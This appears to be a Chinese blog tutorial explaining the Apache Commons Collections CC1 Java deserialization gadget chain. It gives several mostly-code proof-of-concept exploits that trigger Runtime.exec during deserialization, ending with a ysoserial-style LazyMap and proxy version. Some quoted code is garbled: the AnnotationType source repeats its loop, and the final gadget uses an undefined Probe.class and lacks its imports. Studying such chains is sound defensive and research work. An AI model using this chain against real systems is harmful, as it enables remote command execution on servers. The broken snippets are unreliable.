Common Collections 介绍
Apache Commons 是对 JDK 的拓展,包含了很多开源的⼯具,⽤于办理平常编程经常会遇到的题目。Apache Commons 当中有⼀个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。cc链的利⽤就是以Apache Commons Collections作为链条的核⼼,来构造⼀个终极可以大概进⾏rce的gadget。
核心demo
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
- public class first {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec", new Class[]{String.class},
- new Object[]{"C:\\Windows\\System32\\calc.exe"})
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- outerMap.put("test", "xxxx");
- }
- }
复制代码
TransformedMap
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
- package org.apache.commons.collections.map;
- import java.io.IOException;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.io.Serializable;
- import java.util.Iterator;
- import java.util.Map;
- import org.apache.commons.collections.Transformer;
- public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
- private static final long serialVersionUID = 7023152376788900464L;
- protected final Transformer keyTransformer;
- protected final Transformer valueTransformer;
- public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- return new TransformedMap(map, keyTransformer, valueTransformer);
- }
- public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
- if (map.size() > 0) {
- Map transformed = decorated.transformMap(map);
- decorated.clear();
- decorated.getMap().putAll(transformed);
- }
- return decorated;
- }
- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
- private void writeObject(ObjectOutputStream out) throws IOException {
- out.defaultWriteObject();
- out.writeObject(this.map);
- }
- private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
- in.defaultReadObject();
- this.map = (Map)in.readObject();
- }
- protected Object transformKey(Object object) {
- return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
- }
- protected Object transformValue(Object object) {
- return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
- }
- protected Map transformMap(Map map) {
- if (map.isEmpty()) {
- return map;
- } else {
- Map result = new LinkedMap(map.size());
- Iterator it = map.entrySet().iterator();
- while(it.hasNext()) {
- Map.Entry entry = (Map.Entry)it.next();
- result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
- }
- return result;
- }
- }
- protected Object checkSetValue(Object value) {
- return this.valueTransformer.transform(value);
- }
- protected boolean isSetValueChecking() {
- return this.valueTransformer != null;
- }
- public Object put(Object key, Object value) {
- key = this.transformKey(key);
- value = this.transformValue(value);
- return this.getMap().put(key, value);
- }
- public void putAll(Map mapToCopy) {
- mapToCopy = this.transformMap(mapToCopy);
- this.getMap().putAll(mapToCopy);
- }
- }
- 当我们调用transformedMap.put时
- public Object put(Object key, Object value) {
- key = this.transformKey(key);
- value = this.transformValue(value);
- return this.getMap().put(key, value);
- }
- 对于进⼊map的新元素(key,value),会利⽤keyTransformer对key进⾏处理,并且利⽤
- valueTransformer对value进⾏处理。继续跟一下这两个方法
- protected Object transformKey(Object object) {
- return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
- }
- protected Object transformValue(Object object) {
- return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
- }
复制代码 终极会调用Transformer对象中的.transform方法
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
TransformedMap在转换Map的新元素时,就会调⽤Transformer对象的transform⽅法,这个过程就类似在调⽤⼀个“回调参数”。那么,Transformer只是⼀个接⼝,一定要有实现该接⼝的类,我们用到的个类:ConstantTransformer、InvokerTransformer 、ChainedTransformer
ConstantTransformer
先看看代码
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
- package org.apache.commons.collections.functors;
- import java.io.Serializable;
- import org.apache.commons.collections.Transformer;
- public class ConstantTransformer implements Transformer, Serializable {
- private static final long serialVersionUID = 6374440726369055124L;
- public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
- private final Object iConstant;
- public static Transformer getInstance(Object constantToReturn) {
- return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
- }
- public ConstantTransformer(Object constantToReturn) {
- this.iConstant = constantToReturn;
- }
- public Object transform(Object input) {
- return this.iConstant;
- }
- public Object getConstant() {
- return this.iConstant;
- }
- }
复制代码 它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。
InvokerTransformer
代码:
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
- package org.apache.commons.collections.functors;
- import java.io.Serializable;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import org.apache.commons.collections.FunctorException;
- import org.apache.commons.collections.Transformer;
- public class InvokerTransformer implements Transformer, Serializable {
- private static final long serialVersionUID = -8653385846894047688L;
- private final String iMethodName;
- private final Class[] iParamTypes;
- private final Object[] iArgs;
- public static Transformer getInstance(String methodName) {
- if (methodName == null) {
- throw new IllegalArgumentException("The method to invoke must not be null");
- } else {
- return new InvokerTransformer(methodName);
- }
- }
- public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
- if (methodName == null) {
- throw new IllegalArgumentException("The method to invoke must not be null");
- } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
- throw new IllegalArgumentException("The parameter types must match the arguments");
- } else if (paramTypes != null && paramTypes.length != 0) {
- paramTypes = (Class[])((Class[])paramTypes.clone());
- args = (Object[])((Object[])args.clone());
- return new InvokerTransformer(methodName, paramTypes, args);
- } else {
- return new InvokerTransformer(methodName);
- }
- }
- private InvokerTransformer(String methodName) {
- this.iMethodName = methodName;
- this.iParamTypes = null;
- this.iArgs = null;
- }
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- this.iMethodName = methodName;
- this.iParamTypes = paramTypes;
- this.iArgs = args;
- }
- public Object transform(Object input) {
- if (input == null) {
- return null;
- } else {
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
- return method.invoke(input, this.iArgs);
- } catch (NoSuchMethodException var4) {
- throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
- } catch (IllegalAccessException var5) {
- throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
- } catch (InvocationTargetException var6) {
- InvocationTargetException ex = var6;
- throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
- }
- }
- }
- }
复制代码 这个类的transform方法可以执行恣意方法,第一个参数是方法名,第二个参数是参数列表的参数范例,第三个参数是传给这个函数的参数列表使用下面这几行代码,通过反射的方式来执行恣意代码,达到rce的目标
- Class cls = input.getClass();
- Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
- return method.invoke(input, this.iArgs);
复制代码 ChainedTransformer
它的作⽤是将内部的多个Transformer串在⼀起。
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
- package org.apache.commons.collections.functors;
- import java.io.Serializable;
- import java.util.Collection;
- import java.util.Iterator;
- import org.apache.commons.collections.Transformer;
- public class ChainedTransformer implements Transformer, Serializable {
- private static final long serialVersionUID = 3514945074733160196L;
- private final Transformer[] iTransformers;
- public static Transformer getInstance(Transformer[] transformers) {
- FunctorUtils.validate(transformers);
- if (transformers.length == 0) {
- return NOPTransformer.INSTANCE;
- } else {
- transformers = FunctorUtils.copy(transformers);
- return new ChainedTransformer(transformers);
- }
- }
- public static Transformer getInstance(Collection transformers) {
- if (transformers == null) {
- throw new IllegalArgumentException("Transformer collection must not be null");
- } else if (transformers.size() == 0) {
- return NOPTransformer.INSTANCE;
- } else {
- Transformer[] cmds = new Transformer[transformers.size()];
- int i = 0;
- for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
- }
- FunctorUtils.validate(cmds);
- return new ChainedTransformer(cmds);
- }
- }
- public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
- if (transformer1 != null && transformer2 != null) {
- Transformer[] transformers = new Transformer[]{transformer1, transformer2};
- return new ChainedTransformer(transformers);
- } else {
- throw new IllegalArgumentException("Transformers must not be null");
- }
- }
- public ChainedTransformer(Transformer[] transformers) {
- this.iTransformers = transformers;
- }
- public Object transform(Object object) {
- for(int i = 0; i < this.iTransformers.length; ++i) {
- object = this.iTransformers[i].transform(object);
- }
- return object;
- }
- public Transformer[] getTransformers() {
- return this.iTransformers;
- }
- }
复制代码 我们看到它的初始化输⼊是⼀个Transformer数组,然后通过循环调⽤的⽅式来讲全部的Transformer都执⾏了⼀遍,并且每⼀个Transformer的输⼊是上⼀个Transformer执⾏了transform⽅法的结果。实现链式调用。
对demo的理解
我们创建了一个ChainedTransformer,它是一个链式调用,当被调用时,会按次序执行两个Transformer:先调用ConstantTransformer,返回了一个Runtime对象,然后这个对象被当作参数,传入InvokerTransformer的transformer方法,用来执行Runtime的exec方法,参数是计算器的地址,实现rce
现在只是创建了一个Transformer,并没有被调用,我们必要将Transformer绑定到TransformerMap,并且执行put(被添加新元素)时才会被调用。
Demo1
上方demo中我们手动给TransformerMap添加元素,但现实场景中没人帮我们执行该操作,我们必要找一个类,它的readObject方法中存在给Map增加新元素的操作这个类就是:sun.reflect.annotation.AnnotationInvocationHandler,这是⼀个java的原⽣类它的构造函数:
- AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
- this.type = type;
- this.memberValues = memberValues;
- }
- readObject:
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch (IllegalArgumentException e) {
- // Class is no longer an annotation type; all bets are off
- return;
- }
- // 获取注解成员类型
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // 遍历 memberValues 并检查类型是否匹配
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // 如果成员仍然存在
- Object value = memberValue.getValue();
- // 检查值是否为成员类型或其异常代理
- if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
- // 触发类型不匹配异常代理
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]"
- ).setMember(
- annotationType.members().get(name)
- )
- );
- }
- }
- }
- }
复制代码 我们只要将memberValues设置成我们构造的TransformerMap对象,然后会触发memberValue.setValue,进而触发我们构造的Transformer
sun.reflect.annotation.AnnotationInvocationHandler对象是一个内部类,我们没办法直接New出来,可以使用反射的方式
garget1:
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.io.*;
- import java.lang.annotation.Retention;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- public class CommonCollections11 {
- public static void main(String[] args) throws Exception {
- // FileOutputStream fout = new FileOutputStream("user.bin");
- // fout.write(serializeData);
- // fout.close();
- byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
- unserialize(evilData);
- }
- // 将对象序列化成字节流
- public static byte[] serialize(final Object obj) throws Exception {
- ByteArrayOutputStream btout = new ByteArrayOutputStream();
- ObjectOutputStream objOut = new ObjectOutputStream(btout);
- objOut.writeObject(obj);
- return btout.toByteArray();
- }
- // 将字节流反序列化成对象
- public static Object unserialize(final byte[] serialized) throws Exception {
- ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
- ObjectInputStream objIn = new ObjectInputStream(btin);
- return objIn.readObject();
- }
- static Object cc1(String args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()), // 这一步会在序列化前生成一个Runtime对象
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
- Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
- constructor.setAccessible(true); // 去掉Java语法安全检查
- Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个AnnotationInvocationHandler对象
- return obj;
- }
- }
复制代码 它在编译的时候发生错误

Demo2
出现错误是因为,java.lang.Runtime⽆法序列化
Java中不是全部对象都⽀持序列化,待序列化的对象和全部它使⽤的内部属性对象,必须都
实现了 java.io.Serializable 接⼝。⽽我们最早传给ConstantTransformer的 是
Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接⼝的,所以不答应被序
列化。
还是通过反射的方式来办理
- Method f = Runtime.class.getMethod("getRuntime");
- Runtime r = (Runtime) f.invoke(null);
- r.exec("C:\\Windows\\System32\\calc.exe");
复制代码 先通过Runtime.class构造出⼀个Runtime的对象(对象范例为Class),然后执⾏该对象的getMethod⽅法,参数是"getRuntime",这样就会得到⼀个反射的Method对象。
然后执⾏这个Runtime对象的Invoke⽅法,这样就会在运⾏时得到⼀个java.lang.Runtime对象(序列化时没有),终极执⾏exec⽅法,参数是要rce执⾏的下令。
然后,我们构造出⼀个新的poc
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.io.*;
- import java.lang.annotation.Retention;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- public class CommonCollections12 {
- public static void main(String[] args) throws Exception {
- byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
- unserialize(evilData);
- }
- // 将对象序列化成字节流
- public static byte[] serialize(final Object obj) throws Exception {
- ByteArrayOutputStream btout = new ByteArrayOutputStream();
- ObjectOutputStream objOut = new ObjectOutputStream(btout);
- objOut.writeObject(obj);
- return btout.toByteArray();
- }
- // 将字节流反序列化成对象
- public static Object unserialize(final byte[] serialized) throws Exception {
- ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
- ObjectInputStream objIn = new ObjectInputStream(btin);
- return objIn.readObject();
- }
- static Object cc1(String args) throws Exception {
- // 构造 Transformer 链
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer(
- "getMethod",
- new Class[]{String.class, Class[].class},
- new Object[]{"getRuntime", new Class[0]}
- ),
- new InvokerTransformer(
- "invoke",
- new Class[]{Object.class, Object[].class},
- new Object[]{null, new Object[0]}
- ),
- new InvokerTransformer(
- "exec",
- new Class[]{String.class},
- new Object[]{args}
- )
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- // 使用 TransformedMap 装饰器绑定转换链
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- // 反射构造 AnnotationInvocationHandler 对象
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
- constructor.setAccessible(true); // 绕过访问检查
- return constructor.newInstance(Retention.class, outerMap);
- }
- }
复制代码 编译没题目,但是没有弹计算机
Demo3
AnnotationInvocationHandler的代码
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch (IllegalArgumentException e) {
- // Class is no longer an annotation type; all bets are off
- return;
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // memberValue来自于memberValues的遍历迭代
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
- memberValue.setValue( // 目的是触发这里
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]"
- ).setMember(annotationType.members().get(name))
- );
- }
- }
- }
- }
复制代码 如果memberValues是⼀个空的map,那么这个for的遍历就不会执⾏,所以我们需
要预先给Map进⾏值的插⼊。
- String name = memberValue.getKey(); //Map可控,所以key可控
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { //!要求在memberType中也有这个key
- ...
- }
复制代码- memberTypes:
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch (IllegalArgumentException e) {
- // Class is no longer an annotation type; all bets are off
- return;
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- public class AnnotationType {
- /*
- ...
- ...
- ...
- */
- public static synchronized AnnotationType getInstance(
- Class<? extends Annotation> annotationClass) {
- AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess()
- .getAnnotationType(annotationClass);
- if (result == null)
- result = new AnnotationType(annotationClass);
- return result;
- }
- private AnnotationType(final Class<? extends Annotation> annotationClass) {
- if (!annotationClass.isAnnotation())
- throw new IllegalArgumentException("Not an annotation type");
- Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
- public Method[] run() {
- // Initialize memberTypes and defaultValues
- return annotationClass.getDeclaredMethods();
- }
- });
- for (Method method : methods) {
- if (method.getParameterTypes().length != 0)
- throw new IllegalArgumentException(method + " has params");
- String name = method.getName();
- Class<?> type = method.getReturnType();
- memberTypes.put(name, invocationHandlerReturnType(type));
- members.put(name, method);
- Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
- public Method[] run() {
- // Initialize memberTypes and defaultValues
- return annotationClass.getDeclaredMethods();
- }
- });
- for (Method method : methods) {
- if (method.getParameterTypes().length != 0)
- throw new IllegalArgumentException(method + " has params");
- String name = method.getName();
- Class<?> type = method.getReturnType();
- memberTypes.put(name, invocationHandlerReturnType(type));
- members.put(name, method);
- Object defaultValue = method.getDefaultValue();
- if (defaultValue != null)
- memberDefaults.put(name, defaultValue);
- members.put(name, method);
- }
- sun.misc.SharedSecrets.getJavaLangAccess()
- .setAnnotationType(annotationClass, this);
- if (annotationClass != Retention.class && annotationClass != Inherited.class) {
- Retention ret = annotationClass.getAnnotation(Retention.class);
- retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
- inherited = annotationClass.isAnnotationPresent(Inherited.class);
- }
- }
- }
复制代码 就是检查输⼊的参数,是不是⼀个注解类,如果不是就会报错。
所以我们这⾥要求第⼀个参数必须是⼀个注解类。
annotationClass.isAnnotation()
这⾥会通过反射的⽅式,获取该注解类全部的⽅法
然后再将全部的⽅法名塞给memberTypes这个Map
⽽我们这⾥要获取的就是memberTypes
- Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
- public Method[] run() {
- // Initialize memberTypes and defaultValues
- return annotationClass.getDeclaredMethods();
- }
- });
- for (Method method : methods) {
- if (method.getParameterTypes().length != 0)
- throw new IllegalArgumentException(method + " has params");
- String name = method.getName();
- Class<?> type = method.getReturnType();
- memberTypes.put(name, invocationHandlerReturnType(type));
- members.put(name, method);
复制代码 对于sun.reflect.annotation.AnnotationInvocationHandler这个类的构造函数,我们必要找到⼀个参数type,它必须满⾜
- 1.是⼀个类对象
- 2.该类是⼀个注解类
- 3.该类⾄少存在⼀个⽅法
复制代码 终极我们找到了Retention类,他是⼀个注解类,他有⼀个⽅法,叫做value.
Demo3:
这个版本可以弹计算器
- package org.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.io.*;
- import java.lang.annotation.Retention;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- public class CommonCollections13 {
- public static void main(String[] args) throws Exception {
- // FileOutputStream fout = new FileOutputStream("user.bin");
- // fout.write(serializeData);
- // fout.close();
- byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
- unserialize(evilData);
- }
- // 将对象序列化成字节流
- public static byte[] serialize(final Object obj) throws Exception {
- ByteArrayOutputStream btout = new ByteArrayOutputStream();
- ObjectOutputStream objOut = new ObjectOutputStream(btout);
- objOut.writeObject(obj);
- return btout.toByteArray();
- }
- // 将字节流反序列化成对象
- public static Object unserialize(final byte[] serialized) throws Exception {
- ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
- ObjectInputStream objIn = new ObjectInputStream(btin);
- return objIn.readObject();
- }
- static Object cc1(String args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- innerMap.put("value", "XXXXXXX");
- Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
- Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
- constructor.setAccessible(true); // 去掉 Java 语法安全检查
- Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个 AnnotationInvocationHandler 对象
- return obj;
- }
- }
复制代码 Demo4
ysoserial⾥⾯的cc1链,没有使用TransforMap,而是使用了LazyMap,LazyMap在添加元素的时候不会执⾏transform的逻辑,⽽是在get的时候,有⼀个transform的动作。
在invoke⽅法⾥⾯,是有get的,如何从readObject跳到invoke呢?ysoserial的作者想到的是利⽤java的对象代理。
在java中,如果我们调⽤了别⼈的sdk,⼜觉得别⼈的sdk⾥⾯的某个代码写得欠好,java不建
议直接修改sdk代码,⽽是提供了⼀种叫做代理的设计模式。
终极garget:
- public class CommonCollections1 {
- public static void main(String[] args) throws Exception {
- // FileOutputStream fout = new FileOutputStream("user.bin");
- // fout.write(serializeData);
- // fout.close();
- byte[] evilData = serialize(cc1("C:\\\\Windows\\\\System32\\\\calc.exe"));
- unserialize(evilData);
- }
- // 将对象序列化成字节流
- public static byte[] serialize(final Object obj) throws Exception {
- ByteArrayOutputStream btout = new ByteArrayOutputStream();
- ObjectOutputStream objOut = new ObjectOutputStream(btout);
- objOut.writeObject(obj);
- return btout.toByteArray();
- }
- // 将字节流反序列化成对象
- public static Object unserialize(final byte[] serialized) throws Exception {
- ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
- ObjectInputStream objIn = new ObjectInputStream(btin);
- return objIn.readObject();
- }
- static Object cc1(String args) throws Exception {
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { args })
- };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- innerMap.put("hidden", "fuckdada");
- Map outerMap = LazyMap.decorate(innerMap, transformerChain);
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
- constructor.setAccessible(true);
- InvocationHandler handler = (InvocationHandler) constructor.newInstance(Probe.class, outerMap);
- Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);
- Object obj = constructor.newInstance(Probe.class, proxyMap);
- return obj;
- }
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |